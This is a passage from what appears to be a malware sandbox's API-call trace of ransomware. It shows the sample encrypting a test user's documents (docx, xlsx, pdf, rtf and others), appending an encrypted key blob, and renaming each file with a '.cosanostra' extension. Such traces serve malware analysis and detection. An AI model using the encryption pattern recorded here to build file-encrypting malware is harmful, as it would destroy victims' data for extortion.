(lpFirst="Favorites.vss", lpSrch=".txt") returned 0x0 [0097.954] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.954] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f38c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f38c*=0x0, lpOverlapped=0x0) returned 1 [0097.954] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.954] WriteFile (in: hFile=0x180, lpBuffer=0x251f3cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f38c, lpOverlapped=0x0 | out: lpBuffer=0x251f3cc*, lpNumberOfBytesWritten=0x251f38c*=0x4, lpOverlapped=0x0) returned 1 [0097.955] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f38c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f38c*=0x30, lpOverlapped=0x0) returned 1 [0097.955] CloseHandle (hObject=0x180) returned 1 [0097.955] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.cosanostra") returned 78 [0097.955] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.cosanostra")) returned 1 [0097.956] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3c8 | out: pbBuffer=0x251f3c8) returned 1 [0097.956] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3c0*=0x30) returned 1 [0097.956] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.957] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned 65 [0097.957] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0097.958] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.958] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x251f384, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f384*=0xd8, lpOverlapped=0x0) returned 1 [0097.958] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.958] WriteFile (in: hFile=0x180, lpBuffer=0x251f3c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f384, lpOverlapped=0x0 | out: lpBuffer=0x251f3c4*, lpNumberOfBytesWritten=0x251f384*=0x4, lpOverlapped=0x0) returned 1 [0097.959] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f384, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f384*=0x30, lpOverlapped=0x0) returned 1 [0097.959] CloseHandle (hObject=0x180) returned 1 [0097.959] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini.cosanostra") returned 76 [0097.959] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini.cosanostra")) returned 1 [0097.959] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3c8 | out: pbBuffer=0x251f3c8) returned 1 [0097.959] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3c0*=0x30) returned 1 [0097.960] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.960] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3c0 | out: pbBuffer=0x251f3c0) returned 1 [0097.960] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3b8*=0x30) returned 1 [0097.960] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.960] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3c0 | out: pbBuffer=0x251f3c0) returned 1 [0097.960] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3b8*=0x30) returned 1 [0097.960] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lENbYs7ZVn0_hyjrvSQ.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lenbys7zvn0_hyjrvsq.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.960] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lENbYs7ZVn0_hyjrvSQ.odt") returned 67 [0097.960] StrStrW (lpFirst="lENbYs7ZVn0_hyjrvSQ.odt", lpSrch=".txt") returned 0x0 [0097.961] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffe573, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.961] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1a8d, lpNumberOfBytesWritten=0x251f37c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f37c*=0x1a8d, lpOverlapped=0x0) returned 1 [0097.961] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.961] WriteFile (in: hFile=0x180, lpBuffer=0x251f3bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f37c, lpOverlapped=0x0 | out: lpBuffer=0x251f3bc*, lpNumberOfBytesWritten=0x251f37c*=0x4, lpOverlapped=0x0) returned 1 [0097.961] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f37c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f37c*=0x30, lpOverlapped=0x0) returned 1 [0097.961] CloseHandle (hObject=0x180) returned 1 [0097.962] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lENbYs7ZVn0_hyjrvSQ.odt.cosanostra") returned 78 [0097.962] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lENbYs7ZVn0_hyjrvSQ.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lenbys7zvn0_hyjrvsq.odt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lENbYs7ZVn0_hyjrvSQ.odt.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lenbys7zvn0_hyjrvsq.odt.cosanostra")) returned 1 [0097.963] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3b8 | out: pbBuffer=0x251f3b8) returned 1 [0097.963] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3b0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3b0*=0x30) returned 1 [0097.963] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ks0xqu8XF1mv5I.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ks0xqu8xf1mv5i.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.963] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ks0xqu8XF1mv5I.xlsx") returned 63 [0097.963] StrStrW (lpFirst="Ks0xqu8XF1mv5I.xlsx", lpSrch=".txt") returned 0x0 [0097.964] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.964] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f374, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f374*=0x2800, lpOverlapped=0x0) returned 1 [0097.964] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.964] WriteFile (in: hFile=0x180, lpBuffer=0x251f3b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f374, lpOverlapped=0x0 | out: lpBuffer=0x251f3b4*, lpNumberOfBytesWritten=0x251f374*=0x4, lpOverlapped=0x0) returned 1 [0097.964] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f374, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f374*=0x30, lpOverlapped=0x0) returned 1 [0097.964] CloseHandle (hObject=0x180) returned 1 [0097.964] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ks0xqu8XF1mv5I.xlsx.cosanostra") returned 74 [0097.964] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ks0xqu8XF1mv5I.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ks0xqu8xf1mv5i.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ks0xqu8XF1mv5I.xlsx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ks0xqu8xf1mv5i.xlsx.cosanostra")) returned 1 [0097.965] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3b8 | out: pbBuffer=0x251f3b8) returned 1 [0097.965] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3b0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3b0*=0x30) returned 1 [0097.965] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kfyl8QLFblUYu-Ue.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kfyl8qlfbluyu-ue.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.966] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kfyl8QLFblUYu-Ue.docx") returned 65 [0097.966] StrStrW (lpFirst="Kfyl8QLFblUYu-Ue.docx", lpSrch=".txt") returned 0x0 [0097.967] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.967] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f374, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f374*=0x2800, lpOverlapped=0x0) returned 1 [0097.967] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.967] WriteFile (in: hFile=0x180, lpBuffer=0x251f3b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f374, lpOverlapped=0x0 | out: lpBuffer=0x251f3b4*, lpNumberOfBytesWritten=0x251f374*=0x4, lpOverlapped=0x0) returned 1 [0097.967] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f374, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f374*=0x30, lpOverlapped=0x0) returned 1 [0097.967] CloseHandle (hObject=0x180) returned 1 [0097.967] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kfyl8QLFblUYu-Ue.docx.cosanostra") returned 76 [0097.967] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kfyl8QLFblUYu-Ue.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kfyl8qlfbluyu-ue.docx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kfyl8QLFblUYu-Ue.docx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kfyl8qlfbluyu-ue.docx.cosanostra")) returned 1 [0097.975] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3b0 | out: pbBuffer=0x251f3b0) returned 1 [0097.975] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3a8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3a8*=0x30) returned 1 [0097.975] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jLsOMfLU.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jlsomflu.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.975] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jLsOMfLU.docx") returned 57 [0097.975] StrStrW (lpFirst="jLsOMfLU.docx", lpSrch=".txt") returned 0x0 [0097.976] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.976] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f36c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f36c*=0x2800, lpOverlapped=0x0) returned 1 [0097.976] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.976] WriteFile (in: hFile=0x180, lpBuffer=0x251f3ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f36c, lpOverlapped=0x0 | out: lpBuffer=0x251f3ac*, lpNumberOfBytesWritten=0x251f36c*=0x4, lpOverlapped=0x0) returned 1 [0097.976] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f36c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f36c*=0x30, lpOverlapped=0x0) returned 1 [0097.976] CloseHandle (hObject=0x180) returned 1 [0097.976] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jLsOMfLU.docx.cosanostra") returned 68 [0097.976] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jLsOMfLU.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jlsomflu.docx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jLsOMfLU.docx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jlsomflu.docx.cosanostra")) returned 1 [0097.980] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3a8 | out: pbBuffer=0x251f3a8) returned 1 [0097.981] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3a0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3a0*=0x30) returned 1 [0097.981] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\dgoLDbGj8Ab_TCR.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\dgoldbgj8ab_tcr.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.981] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\dgoLDbGj8Ab_TCR.pdf") returned 75 [0097.981] StrStrW (lpFirst="dgoLDbGj8Ab_TCR.pdf", lpSrch=".txt") returned 0x0 [0097.982] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.982] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f364, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f364*=0x2800, lpOverlapped=0x0) returned 1 [0097.982] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.982] WriteFile (in: hFile=0x180, lpBuffer=0x251f3a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f364, lpOverlapped=0x0 | out: lpBuffer=0x251f3a4*, lpNumberOfBytesWritten=0x251f364*=0x4, lpOverlapped=0x0) returned 1 [0097.982] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f364, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f364*=0x30, lpOverlapped=0x0) returned 1 [0097.983] CloseHandle (hObject=0x180) returned 1 [0097.983] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\dgoLDbGj8Ab_TCR.pdf.cosanostra") returned 86 [0097.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\dgoLDbGj8Ab_TCR.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\dgoldbgj8ab_tcr.pdf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\dgoLDbGj8Ab_TCR.pdf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\dgoldbgj8ab_tcr.pdf.cosanostra")) returned 1 [0097.984] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3a0 | out: pbBuffer=0x251f3a0) returned 1 [0097.984] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f398*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f398*=0x30) returned 1 [0097.985] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\zEy5rsYrOeJzvDc2.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\zey5rsyroejzvdc2.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.985] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\zEy5rsYrOeJzvDc2.pps") returned 82 [0097.985] StrStrW (lpFirst="zEy5rsYrOeJzvDc2.pps", lpSrch=".txt") returned 0x0 [0097.986] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff31e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.986] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xce2, lpNumberOfBytesWritten=0x251f35c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f35c*=0xce2, lpOverlapped=0x0) returned 1 [0097.986] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.986] WriteFile (in: hFile=0x180, lpBuffer=0x251f39c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f35c, lpOverlapped=0x0 | out: lpBuffer=0x251f39c*, lpNumberOfBytesWritten=0x251f35c*=0x4, lpOverlapped=0x0) returned 1 [0097.986] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f35c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f35c*=0x30, lpOverlapped=0x0) returned 1 [0097.986] CloseHandle (hObject=0x180) returned 1 [0097.986] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\zEy5rsYrOeJzvDc2.pps.cosanostra") returned 93 [0097.986] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\zEy5rsYrOeJzvDc2.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\zey5rsyroejzvdc2.pps"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\zEy5rsYrOeJzvDc2.pps.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\zey5rsyroejzvdc2.pps.cosanostra")) returned 1 [0097.987] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3a0 | out: pbBuffer=0x251f3a0) returned 1 [0097.987] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f398*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f398*=0x30) returned 1 [0097.987] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\YnMHKykNz3uKNTA7hJ.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\ynmhkyknz3uknta7hj.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.988] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\YnMHKykNz3uKNTA7hJ.rtf") returned 84 [0097.988] StrStrW (lpFirst="YnMHKykNz3uKNTA7hJ.rtf", lpSrch=".txt") returned 0x0 [0097.990] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.991] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f35c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f35c*=0x2800, lpOverlapped=0x0) returned 1 [0097.991] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.991] WriteFile (in: hFile=0x180, lpBuffer=0x251f39c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f35c, lpOverlapped=0x0 | out: lpBuffer=0x251f39c*, lpNumberOfBytesWritten=0x251f35c*=0x4, lpOverlapped=0x0) returned 1 [0097.991] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f35c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f35c*=0x30, lpOverlapped=0x0) returned 1 [0097.991] CloseHandle (hObject=0x180) returned 1 [0097.991] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\YnMHKykNz3uKNTA7hJ.rtf.cosanostra") returned 95 [0097.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\YnMHKykNz3uKNTA7hJ.rtf" (normalized: 